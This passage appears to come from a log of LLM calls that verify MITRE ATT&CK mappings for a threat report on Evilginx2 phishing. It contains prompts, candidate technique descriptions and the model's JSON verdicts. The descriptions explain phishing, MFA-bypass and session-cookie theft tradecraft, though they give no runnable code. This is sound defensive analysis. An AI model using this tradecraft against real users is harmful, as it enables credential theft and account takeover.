to send messages (e.g., Email Hiding Rules). Another way to accomplish this is by Email Spoofing the identity of the sender, which can be used to fool both the human recipient as well as automated security tools, or by including the intended target as a party to an existing email thread that includes malicious files or links (i.e., \"thread hijacking\"). Victims may also receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware, or install adversary-accessible remote management tools onto their computer (i.e., User Execution).\nTactics: initial access\nPlatforms: Identity Provider, Linux, Office Suite, SaaS, Windows, macOS\nLabeled report example: *Figure 14: Landing page targeting multiple brands*\n\nCANDIDATE 1\nATT&CK technique: T1684 Social Engineering\nDescription: Adversaries may use social engineering techniques to influence users to take actions that result in unauthorized access, approval of changes, disclosure of sensitive information, or execution of adversary-supplied instructions (i.e., introduction of malicious payloads or software), while minimizing technical indicators. Adversaries may leverage trust-building methods across multiple channels (e.g., executive, vendor, or help desk scenarios, including AI-enabled voice interactions) to prompt user-authorized actions such as password resets, MFA changes, financial approvals, or the disclosure of sensitive information. Adversaries may also leverage common business communications and workflows such as email, collaboration platforms, voice communications, recruiting processes, help desk interactions, and SaaS consent mechanisms to make malicious requests appear routine and legitimate. Additionally, adversaries have persuaded victims to take actions through references of current events, harnessing relevant themes to the work role or the organizations mission. For example, adversaries may use scare tactics (i.e., threaten repercussions for non-compliance) or otherwise incite victims’ emotions in order to generate a sense of urgency to take action. This technique may include common social engineering patterns such as Phishing and Spearphishing Voice, often supported by convincing and targeted narratives.\nTactics: stealth\nPlatforms: Linux, Office Suite, SaaS, Windows, macOS\n\nCANDIDATE 2\nATT&CK technique: T1598 Phishing for Information\nDescription: Adversaries may send phishing messages to elicit sensitive information that can be used during targeting. Phishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Phishing for information is different from Phishing in that the objective is gathering data from the victim rather than executing malicious code. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass credential harvesting campaigns. Adversaries may also try to obtain information directly through the exchange of emails, instant messages, or other electronic conversation means. Victims may also receive phishing messages that direct them to call a phone number where the adversary attempts to collect confidential information. Phishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. Another way to accomplish this is by Email Spoofing the identity of the sender, which can be used to fool both the human recipient as well as automated security tools. Phishing for information may also involve evasive techniques, such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., Email Hiding Rules).\nTactics: reconnaissance\nPlatforms: PRE\n\nCANDIDATE 3\nATT&CK technique: T1683 Generate Content\nDescription: Adversaries may create or generate content to support targeting and operations. This content may be used to establish personas, impersonate known individuals or organizations, and support Social Engineering, fraud, or influence activities. Written materials, audio, images, video, or other media may be developed and tailored to the target and objective. Content development may occur prior to or during an operation. Adversaries may develop or generate content in-house, source it through third parties, or produce it using AI-assisted tools. Adversaries may use AI to research targets, develop pretexts, and better understand the organizations and individuals they intend to target or deceive prior to generating content (i.e., Query Public AI Services); for obtaining access to AI tools used in content generation, see Artificial Intelligence. Content may be leveraged in support of techniques such as Phishing, Phishing for Information, Social Engineering, Financial Theft, or Establish Accounts. Generated or developed content does not include malicious code or scripts (i.e., Develop Capabilities and Artificial Intelligence).\nTactics: resource development\nPlatforms: PRE\n\nCANDIDATE 4\nATT&CK technique: T1598.002 Spearphishing Attachment\nDescription: Adversaries may send spearphishing messages with a malicious attachment to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email. In some cases, they may rely upon the recipient populating information, then returning the file. The text of the spearphishing email usually tries to give a plausible reason why the file should be filled-in, such as a request for information from a business associate. In other cases, adversaries may leverage techniques such as HTML Smuggling to harvest user credentials via fake login portals. Adversaries may also use information from previous reconnaissance efforts (ex: Search Open Websites/Domains or Search Victim-Owned Websites) to craft persuasive and believable lures.\nTactics: reconnaissance\nPlatforms: PRE\n\nCANDIDATE 5\nATT&CK technique: T1583.004 Server\nDescription: Adversaries may buy, lease, rent, or obtain physical servers that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, such as watering hole operations in Drive-by Compromise, enabling Phishing operations, or facilitating Command and Control. Instead of compromising a third-party Server or renting a Virtual Private Server, adversaries may opt to configure and run their own servers in support of operations. Free trial periods of cloud servers may also be abused. Adversaries may only need a lightweight setup if most of their activities will take place using online infrastructure. Or, they may need to build extensive infrastructure if they want to test, communicate, and control other aspects of their activities on their own systems.\nTactics: resource development\nPlatforms: PRE\n\nCANDIDATE 6\nATT&CK technique: T1683.001 Written Content\nDescription: Adversaries may create or tailor written materials to support targeting and malicious operations. Content may include phishing lures, fraudulent financial communications, fabricated job postings, fabricated employment credentials and documentation, decoy documents, social media persona content, and supporting narratives used to sustain fabricated personas over time. Content may be authored manually, commissioned through third parties, or produced using AI-assisted tools. Written materials may impersonate legitimate government correspondence, diplomatic communications, or internal organizational documents to support targeting efforts. AI-assisted tools may also be used to tailor content to specific targets, industries, or regions. For example, adversaries may leverage AI to translate content into a target's native language or mimic the communication style of trusted senders. Written content produced through these methods may be used in support of other techniques, such as Phishing, Spearphishing via Service, Phishing for Information, Internal Spearphishing, Social Engineering, Financial Theft, or Establish Accounts. Written content does not include malicious code or scripts; for development of malicious code and scripts, see Develop Capabilities.\nTactics: resource development\nPlatforms: PRE\n\nCANDIDATE 7\nATT&CK technique: T1598.003 Spearphishing Link\nDescription: Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. The given website may be a clone of a legitimate site (such as an online or corporate login portal) or may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an “@” symbol: for example, `hxxp://google.com@1157586937`. Adversaries may also embed “tracking pixels,” \"web bugs,\" or \"web beacons\" within phishing messages to verify the receipt of an email, while also potentially profiling and tracking victim information such as IP address. These mechanisms often appear as small images (typically one pixel in size) or otherwise obfuscated objects and are typically delivered as HTML code containing a link to a remote server. Adversaries may also be able to spoof a complete website using what is known as a \"browser-in-the-browser\" (BitB) attack. By generating a fake browser popup window with an HTML-based address bar that appears to contain a legitimate URL (such as an authentication portal), they may be able to prompt users to enter their credentials while bypassing typical URL verification methods. Adversaries can use phishing kits such as `EvilProxy` and `Evilginx2` to perform adversary-in-the-middle phishing by proxying the connection between the victim and the legitimate website. On a successful login, the victim is redirected to the legitimate website, while the adversary captures their session cookie (i.e., Steal Web Session Cookie) in addition to their username and password. This may enable the adversary to then bypass MFA via Web Session Cookie. Adversaries may also send a malicious link in the form of Quick Response (QR) Codes (also known as “quishing”). These links may direct a victim to a credential phishing page. By using a QR code, the URL may not be exposed in the email and may thus go undetected by most automated email security scans. These QR codes may be scanned by or delivered directly to a user’s mobile device (i.e., Phishing), which may be less secure in several relevant ways. For example, mobile users may not be able to notice minor differences between genuine and credential harvesting websites due to mobile’s smaller form factor. From the fake website, information is gathered in web forms and sent to the adversary. Adversaries may also use information from previous reconnaissance efforts (ex: Search Open Websites/Domains or Search Victim-Owned Websites) to craft persuasive and believable lures.\nTactics: reconnaissance\nPlatforms: PRE\n\nCANDIDATE 8\nATT&CK technique: T1684.001 Impersonation\nDescription: Adversaries may impersonate a trusted person or organization in order to persuade and trick a target into performing some action on their behalf. For example, adversaries may communicate with victims (via Phishing for Information, Phishing, or Internal Spearphishing) while impersonating a known sender such as an executive, colleague, or third-party vendor. Established trust can then be leveraged to accomplish an adversary’s ultimate goals, possibly against multiple victims. In many cases of business email compromise or email fraud campaigns, adversaries use impersonation to defraud victims -- deceiving them into sending money or divulging information that ultimately enables Financial Theft. Adversaries will often also use social engineering techniques such as manipulative and persuasive language in email subject lines and body text such as `payment`, `request`, or `urgent` to push the victim to act quickly before malicious activity is detected. These campaigns are often specifically targeted against people who, due to job roles and/or accesses, can carry out the adversary’s goal. Impersonation is typically preceded by reconnaissance techniques such as Gather Victim Identity Information and Gather Victim Org Information as well as acquiring infrastructure such as email domains (i.e. Domains) to substantiate their false identity. There is the potential for multiple victims in campaigns involving impersonation. For example, an adversary may Compromise Accounts targeting one organization which can then be used to support impersonation against other entities.\nTactics: stealth\nPlatforms: Linux, Office Suite, SaaS, Windows, macOS\n\nCANDIDATE 9\nATT&CK technique: T1598.001 Spearphishing Service\nDescription: Adversaries may send spearphishing messages via third-party services to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services. These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries may create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and information about their environment. Adversaries may also use information from previous reconnaissance efforts (ex: Social Media or Search Victim-Owned Websites) to craft persuasive and believable lures.\nTactics: reconnaissance\nPlatforms: PRE", + "max_new_tokens": 500, + "temperature": 0, + "grammar": { + "json_schema": { + "type": "object", + "properties": { + "selected_index": { + "type": "integer", + "minimum": -1, + "maximum": 9 + }, + "support": { + "type": "string", + "enum": [ + "supported", + "ambiguous", + "unsupported" + ] + }, + "evidence_quote": { + "type": "string", + "maxLength": 300 + }, + "rationale": { + "type": "string", + "maxLength": 240 + } + }, + "required": [ + "selected_index", + "support", + "evidence_quote", + "rationale" + ], + "additionalProperties": false + }, + "label": "attck_verification", + "strict": true + } + }, + "raw_response": { + "model": "Qwen/Qwen3.6-27B:no-spec", + "text": "{\"selected_index\": 7, \"support\": \"supported\", \"evidence_quote\": \"Utilizing these “phishlets,” you can configure the server to phish multiple brands at once\", \"rationale\": \"The quote describes configuring a server with Evilginx2 phishlets to phish multiple brands, which aligns with T1598.003 Spearphishing Link as it involves using malicious links to elicit sensitive information.\"}", + "finish_reason": "stop", + "usage": { + "prompt_tokens": 3543, + "completion_tokens": 96, + "total_tokens": 3639 + } + }, + "evidence_sha256": "763af62a79021bfa6d2663dba7ad1563bbb78e5e9936c7ca70b96716863be7e4" + }, + { + "stage": "verify", + "function": "generate", + "requested_model": "Qwen/Qwen3.6-27B:no-spec", + "runtime_model": "Qwen/Qwen3.6-27B:no-spec", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 4584.1, + "request_payload": { + "prompt": "You verify one ATT&CK mapping from a threat report. Match the action and object in EXTRACTED EVENT to one candidate definition. SOURCE QUOTE is the evidence boundary. Do not infer a delivery channel, protocol, access method, or tool that the quote does not state. Select a sub-technique only when the quote states its defining detail; otherwise prefer a supported parent technique. Respect actor direction and operation phase. Downloading a payload into a compromised system is tool transfer. Acquiring malware means an adversary obtains a capability for a future operation. Advertising or selling malware proves neither action. Defensive and law-enforcement actions do not become adversary techniques. A labeled report example shows how the candidate has been used in public training data; it is guidance, not evidence for this quote. Independently decide whether the quote describes adversary activity. Copy the supporting words exactly from SOURCE QUOTE. Mark ambiguous when two candidates remain plausible. Mark unsupported and select -1 when none is supported. The analyst accepts or rejects the final mapping. Return one JSON object with exactly selected_index, support, evidence_quote, and rationale. Do not return an array. Write compact one-line JSON with no whitespace outside string values. Keep the rationale to one sentence under 30 words.\n\nEXTRACTED EVENT\nActor: Evilginx2\nAction: configure\nObject: custom subdomain and landing page URL\nTool: Evilginx2\n\nSOURCE QUOTE\nEvilginx2 allows you to configure a custom subdomain and landing page URL for each\n\nCANDIDATE 0\nATT&CK technique: T1584.001 Domains\nDescription: Adversaries may hijack domains and/or subdomains that can be used during targeting. Domain registration hijacking is the act of changing the registration of a domain name without the permission of the original registrant. Adversaries may gain access to an email account for the person listed as the owner of the domain. The adversary can then claim that they forgot their password in order to make changes to the domain registration. Other possibilities include social engineering a domain registration help desk to gain access to an account, taking advantage of renewal process gaps, or compromising a cloud service that enables managing domains (e.g., AWS Route53). Subdomain hijacking can occur when organizations have DNS entries that point to non-existent or deprovisioned resources. In such cases, an adversary may take control of a subdomain to conduct operations with the benefit of the trust associated with that domain. Adversaries who compromise a domain may also engage in domain shadowing by creating malicious subdomains under their control while keeping any existing DNS records. As service will not be disrupted, the malicious subdomains may go unnoticed for long periods of time.\nTactics: resource development\nPlatforms: PRE\n\nCANDIDATE 1\nATT&CK technique: T1598.003 Spearphishing Link\nDescription: Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. The given website may be a clone of a legitimate site (such as an online or corporate login portal) or may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an “@” symbol: for example, `hxxp://google.com@1157586937`. Adversaries may also embed “tracking pixels,” \"web bugs,\" or \"web beacons\" within phishing messages to verify the receipt of an email, while also potentially profiling and tracking victim information such as IP address. These mechanisms often appear as small images (typically one pixel in size) or otherwise obfuscated objects and are typically delivered as HTML code containing a link to a remote server. Adversaries may also be able to spoof a complete website using what is known as a \"browser-in-the-browser\" (BitB) attack. By generating a fake browser popup window with an HTML-based address bar that appears to contain a legitimate URL (such as an authentication portal), they may be able to prompt users to enter their credentials while bypassing typical URL verification methods. Adversaries can use phishing kits such as `EvilProxy` and `Evilginx2` to perform adversary-in-the-middle phishing by proxying the connection between the victim and the legitimate website. On a successful login, the victim is redirected to the legitimate website, while the adversary captures their session cookie (i.e., Steal Web Session Cookie) in addition to their username and password. This may enable the adversary to then bypass MFA via Web Session Cookie. Adversaries may also send a malicious link in the form of Quick Response (QR) Codes (also known as “quishing”). These links may direct a victim to a credential phishing page. By using a QR code, the URL may not be exposed in the email and may thus go undetected by most automated email security scans. These QR codes may be scanned by or delivered directly to a user’s mobile device (i.e., Phishing), which may be less secure in several relevant ways. For example, mobile users may not be able to notice minor differences between genuine and credential harvesting websites due to mobile’s smaller form factor. From the fake website, information is gathered in web forms and sent to the adversary. Adversaries may also use information from previous reconnaissance efforts (ex: Search Open Websites/Domains or Search Victim-Owned Websites) to craft persuasive and believable lures.\nTactics: reconnaissance\nPlatforms: PRE\n\nCANDIDATE 2\nATT&CK technique: T1583.001 Domains\nDescription: Adversaries may acquire domains that can be used during targeting. Domain names are the human readable names used to represent one or more IP addresses. They can be purchased or, in some cases, acquired for free. Adversaries may use acquired domains for a variety of purposes, including for Phishing, Drive-by Compromise, and Command and Control. Adversaries may choose domains that are similar to legitimate domains, including through use of homoglyphs or use of a different top-level domain (TLD). Typosquatting may be used to aid in delivery of payloads via Drive-by Compromise. Adversaries may also use internationalized domain names (IDNs) and different character sets (e.g. Cyrillic, Greek, etc.) to execute \"IDN homograph attacks,\" creating visually similar lookalike domains used to deliver malware to victim machines. Different URIs/URLs may also be dynamically generated to uniquely serve malicious content to victims (including one-time, single use domain names). Adversaries may also acquire and repurpose expired domains, which may be potentially already allowlisted/trusted by defenders based on an existing reputation/history. Domain registrars each maintain a publicly viewable database that displays contact information for every registered domain. Private WHOIS services display alternative information, such as their own company data, rather than the owner of the domain. Adversaries may use such private WHOIS services to obscure information about who owns a purchased domain. Adversaries may further interrupt efforts to track their infrastructure by using varied registration information and purchasing domains with different domain registrars. In addition to legitimately purchasing a domain, an adversary may register a new domain in a compromised environment. For example, in AWS environments, adversaries may leverage the Route53 domain service to register a domain and create hosted zones pointing to resources of the threat actor’s choosing.\nTactics: resource development\nPlatforms: PRE\n\nCANDIDATE 3\nATT&CK technique: T1557.004 Evil Twin\nDescription: Adversaries may host seemingly genuine Wi-Fi access points to deceive users into connecting to malicious networks as a way of supporting follow-on behaviors such as Network Sniffing, Transmitted Data Manipulation, or Input Capture. By using a Service Set Identifier (SSID) of a legitimate Wi-Fi network, fraudulent Wi-Fi access points may trick devices or users into connecting to malicious Wi-Fi networks. Adversaries may provide a stronger signal strength or block access to Wi-Fi access points to coerce or entice victim devices into connecting to malicious networks. A Wi-Fi Pineapple – a network security auditing and penetration testing tool – may be deployed in Evil Twin attacks for ease of use and broader range. Custom certificates may be used in an attempt to intercept HTTPS traffic. Similarly, adversaries may also listen for client devices sending probe requests for known or previously connected networks (Preferred Network Lists or PNLs). When a malicious access point receives a probe request, adversaries can respond with the same SSID to imitate the trusted, known network. Victim devices are led to believe the responding access point is from their PNL and initiate a connection to the fraudulent network. Upon logging into the malicious Wi-Fi access point, a user may be directed to a fake login page or captive portal webpage to capture the victim’s credentials. Once a user is logged into the fraudulent Wi-Fi network, the adversary may able to monitor network activity, manipulate data, or steal additional credentials. Locations with high concentrations of public Wi-Fi access, such as airports, coffee shops, or libraries, may be targets for adversaries to set up illegitimate Wi-Fi access points.\nTactics: collection, credential access\nPlatforms: Network Devices\n\nCANDIDATE 4\nATT&CK technique: T1583.007 Serverless\nDescription: Adversaries may purchase and configure serverless cloud infrastructure, such as Cloudflare Workers, AWS Lambda functions, or Google Apps Scripts, that can be used during targeting. By utilizing serverless infrastructure, adversaries can make it more difficult to attribute infrastructure used during operations back to them. Once acquired, the serverless runtime environment can be leveraged to either respond directly to infected machines or to Proxy traffic to an adversary-owned command and control server. As traffic generated by these functions will appear to come from subdomains of common cloud providers, it may be difficult to distinguish from ordinary traffic to these providers - making it easier to Hide Infrastructure.\nTactics: resource development\nPlatforms: PRE\n\nCANDIDATE 5\nATT&CK technique: T1484 Domain or Tenant Policy Modification\nDescription: Adversaries may modify the configuration settings of a domain or identity tenant to evade defenses and/or escalate privileges in centrally managed environments. Such services provide a centralized means of managing identity resources such as devices and accounts, and often include configuration settings that may apply between domains or tenants such as trust relationships, identity syncing, or identity federation. Modifications to domain or tenant settings may include altering domain Group Policy Objects (GPOs) in Microsoft Active Directory (AD) or changing trust settings for domains, including federation trusts relationships between domains or tenants. With sufficient permissions, adversaries can modify domain or tenant policy settings. Since configuration settings for these services apply to a large number of identity resources, there are a great number of potential attacks malicious outcomes that can stem from this abuse. Examples of such abuse include: * modifying GPOs to push a malicious Scheduled Task to computers throughout the domain environment * modifying domain trusts to include an adversary-controlled domain, allowing adversaries to forge access tokens that will subsequently be accepted by victim domain resources * changing configuration settings within the AD environment to implement a Rogue Domain Controller. * adding new, adversary-controlled federated identity providers to identity tenants, allowing adversaries to authenticate as any user managed by the victim tenant Adversaries may temporarily modify domain or tenant policy, carry out a malicious action(s), and then revert the change to remove suspicious indicators.\nTactics: defense impairment, privilege escalation\nPlatforms: Identity Provider, Windows\n\nCANDIDATE 6\nATT&CK technique: T1608.005 Link Target\nDescription: Adversaries may put in place resources that are referenced by a link that can be used during targeting. An adversary may rely upon a user clicking a malicious link in order to divulge information (including credentials) or to gain execution, as in Malicious Link. Links can be used for spearphishing, such as sending an email accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. Prior to a phish for information (as in Spearphishing Link) or a phish to gain initial access to a system (as in Spearphishing Link), an adversary must set up the resources for a link target for the spearphishing link. Typically, the resources for a link target will be an HTML page that may include some client-side script such as JavaScript to decide what content to serve to the user. Adversaries may clone legitimate sites to serve as the link target, this can include cloning of login pages of legitimate web services or organization login pages in an effort to harvest credentials during Spearphishing Link. Adversaries may also Upload Malware and have the link target point to malware for download/execution by the user. Adversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure (Domains) to help facilitate Malicious Link. Links can be written by adversaries to mask the true destination in order to deceive victims by abusing the URL schema and increasing the effectiveness of phishing. Adversaries may also use free or paid accounts on link shortening services and Platform-as-a-Service providers to host link targets while taking advantage of the widely trusted domains of those providers to avoid being blocked while redirecting victims to malicious pages. In addition, adversaries may serve a variety of malicious links through uniquely generated URIs/URLs (including one-time, single use links). Finally, adversaries may take advantage of the decentralized nature of the InterPlanetary File System (IPFS) to host link targets that are difficult to remove.\nTactics: resource development\nPlatforms: PRE\n\nCANDIDATE 7\nATT&CK technique: T1036 Masquerading\nDescription: Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names. Renaming abusable system utilities to evade security monitoring is also a form of Masquerading.\nTactics: stealth\nPlatforms: Containers, ESXi, Linux, Windows, macOS\nLabeled report example: In most attacks, newly registered domains are typosquatting for legitimate web services, such as Google ads, CDNs, Jquery, Magento, etc., as typosquatting increases the chance of remaining undetected in legitimate traffic.\n\nCANDIDATE 8\nATT&CK technique: T1583 Acquire Infrastructure\nDescription: Adversaries may buy, lease, rent, or obtain infrastructure that can be used during targeting. A wide variety of infrastructure exists for hosting and orchestrating adversary operations. Infrastructure solutions include physical or cloud servers, domains, and third-party web services. Some infrastructure providers offer free trial periods, enabling infrastructure acquisition at limited to no cost. Additionally, botnets are available for rent or purchase. Use of these infrastructure solutions allows adversaries to stage, launch, and execute operations. Solutions may help adversary operations blend in with traffic that is seen as normal, such as contacting third-party web services or acquiring infrastructure to support Proxy, including from residential proxy services. Depending on the implementation, adversaries may use infrastructure that makes it difficult to physically tie back to them as well as utilize infrastructure that can be rapidly provisioned, modified, and shut down.\nTactics: resource development\nPlatforms: PRE\nLabeled report example: Through the intelligence gathered from the Zscaler cloud, we discovered several newly registered domains that use VoIP and voicemail as themes for their credential-stealing phishing campaigns.\n\nCANDIDATE 9\nATT&CK technique: T1583.004 Server\nDescription: Adversaries may buy, lease, rent, or obtain physical servers that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, such as watering hole operations in Drive-by Compromise, enabling Phishing operations, or facilitating Command and Control. Instead of compromising a third-party Server or renting a Virtual Private Server, adversaries may opt to configure and run their own servers in support of operations. Free trial periods of cloud servers may also be abused. Adversaries may only need a lightweight setup if most of their activities will take place using online infrastructure. Or, they may need to build extensive infrastructure if they want to test, communicate, and control other aspects of their activities on their own systems.\nTactics: resource development\nPlatforms: PRE", + "max_new_tokens": 500, + "temperature": 0, + "grammar": { + "json_schema": { + "type": "object", + "properties": { + "selected_index": { + "type": "integer", + "minimum": -1, + "maximum": 9 + }, + "support": { + "type": "string", + "enum": [ + "supported", + "ambiguous", + "unsupported" + ] + }, + "evidence_quote": { + "type": "string", + "maxLength": 300 + }, + "rationale": { + "type": "string", + "maxLength": 240 + } + }, + "required": [ + "selected_index", + "support", + "evidence_quote", + "rationale" + ], + "additionalProperties": false + }, + "label": "attck_verification", + "strict": true + } + }, + "raw_response": { + "model": "Qwen/Qwen3.6-27B:no-spec", + "text": "{\n \"selected_index\": 1,\n \"support\": \"supported\",\n \"evidence_quote\": \"Evilginx2 allows you to configure a custom subdomain and landing page URL for each\",\n \"rationale\": \"The quote describes configuring phishing infrastructure using Evilginx2, which aligns with T1598.003 Spearphishing Link as it involves setting up malicious links and landing pages for credential harvesting.\"\n}", + "finish_reason": "stop", + "usage": { + "prompt_tokens": 3629, + "completion_tokens": 99, + "total_tokens": 3728 + } + }, + "evidence_sha256": "0c5b0f8747355a1136c11549e7da98f6ed08cb09bb87dc0a4b16a35e3e547956" + }, + { + "stage": "verify", + "function": "generate", + "requested_model": "Qwen/Qwen3.6-27B:no-spec", + "runtime_model": "Qwen/Qwen3.6-27B:no-spec", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 3355.7, + "request_payload": { + "prompt": "You verify one ATT&CK mapping from a threat report. Match the action and object in EXTRACTED EVENT to one candidate definition. SOURCE QUOTE is the evidence boundary. Do not infer a delivery channel, protocol, access method, or tool that the quote does not state. Select a sub-technique only when the quote states its defining detail; otherwise prefer a supported parent technique. Respect actor direction and operation phase. Downloading a payload into a compromised system is tool transfer. Acquiring malware means an adversary obtains a capability for a future operation. Advertising or selling malware proves neither action. Defensive and law-enforcement actions do not become adversary techniques. A labeled report example shows how the candidate has been used in public training data; it is guidance, not evidence for this quote. Independently decide whether the quote describes adversary activity. Copy the supporting words exactly from SOURCE QUOTE. Mark ambiguous when two candidates remain plausible. Mark unsupported and select -1 when none is supported. The analyst accepts or rejects the final mapping. Return one JSON object with exactly selected_index, support, evidence_quote, and rationale. Do not return an array. Write compact one-line JSON with no whitespace outside string values. Keep the rationale to one sentence under 30 words.\n\nEXTRACTED EVENT\nActor: Evilginx2\nAction: sent\nObject: credentials, including MFA codes, and session cookie\nTool: Evilginx2\nTarget: server\n\nSOURCE QUOTE\nAfter they log in, the credentials, including MFA codes, and session cookie are sent to the server in real-time\n\nCANDIDATE 0\nATT&CK technique: T1539 Steal Web Session Cookie\nDescription: An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website. Cookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols. There are several examples of malware targeting cookies from web browsers on the local system. Adversaries may also steal cookies by injecting malicious JavaScript content into websites or relying on User Execution by tricking victims into running malicious JavaScript in their browser. There are also open source frameworks such as `Evilginx2` and `Muraena` that can gather session cookies through a malicious proxy (e.g., Adversary-in-the-Middle) that can be set up by an adversary and used in phishing campaigns. After an adversary acquires a valid cookie, they can then perform a Web Session Cookie technique to login to the corresponding web application.\nTactics: credential access\nPlatforms: Linux, Office Suite, SaaS, Windows, macOS\nLabeled report example: It can steal credentials such as passwords, website cookies, credit card data, system information, and bitcoin wallet contents.\n\nCANDIDATE 1\nATT&CK technique: T1550.004 Web Session Cookie\nDescription: Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated. Authentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through Steal Web Session Cookie or Web Cookies, the adversary may then import the cookie into a browser they control and is then able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform. There have been examples of malware targeting session cookies to bypass multi-factor authentication systems.\nTactics: lateral movement\nPlatforms: IaaS, Office Suite, SaaS\n\nCANDIDATE 2\nATT&CK technique: T1111 Multi-Factor Authentication Interception\nDescription: Adversaries may target multi-factor authentication (MFA) mechanisms, (i.e., smart cards, token generators, etc.) to gain access to credentials that can be used to access systems, services, and network resources. Use of MFA is recommended and provides a higher level of security than usernames and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms. If a smart card is used for multi-factor authentication, then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token. Adversaries may also employ a keylogger to similarly target other hardware tokens, such as RSA SecurID. Capturing token input (including a user's personal identification code) may provide temporary access (i.e. replay the one-time passcode until the next value rollover) as well as possibly enabling adversaries to reliably predict future authentication values (given access to both the algorithm and any seed values used to generate appended temporary codes). Other methods of MFA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Service providers can also be targeted: for example, an adversary may compromise an SMS messaging service in order to steal MFA codes sent to users’ phones.\nTactics: credential access\nPlatforms: Linux, Windows, macOS\n\nCANDIDATE 3\nATT&CK technique: T1589.001 Credentials\nDescription: Adversaries may gather credentials that can be used during targeting. Account credentials gathered by adversaries may be those directly associated with the target victim organization or attempt to take advantage of the tendency for users to use the same passwords across personal and business accounts. Adversaries may gather credentials from potential victims in various ways, such as direct elicitation via Phishing for Information. Adversaries may also compromise sites then add malicious content designed to collect website authentication cookies from visitors. Where multi-factor authentication (MFA) based on out-of-band communications is in use, adversaries may compromise a service provider to gain access to MFA codes and one-time passwords (OTP). Credential information may also be exposed to adversaries via leaks to online or other accessible data sets (ex: Search Engines, breach dumps, code repositories, etc.). Adversaries may purchase credentials from dark web markets, such as Russian Market and 2easy, or through access to Telegram channels that distribute logs from infostealer malware. Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Phishing for Information), establishing operational resources (ex: Compromise Accounts), and/or initial access (ex: External Remote Services or Valid Accounts).\nTactics: reconnaissance\nPlatforms: PRE\n\nCANDIDATE 4\nATT&CK technique: T1056 Input Capture\nDescription: Adversaries may use methods of capturing user input to obtain credentials or 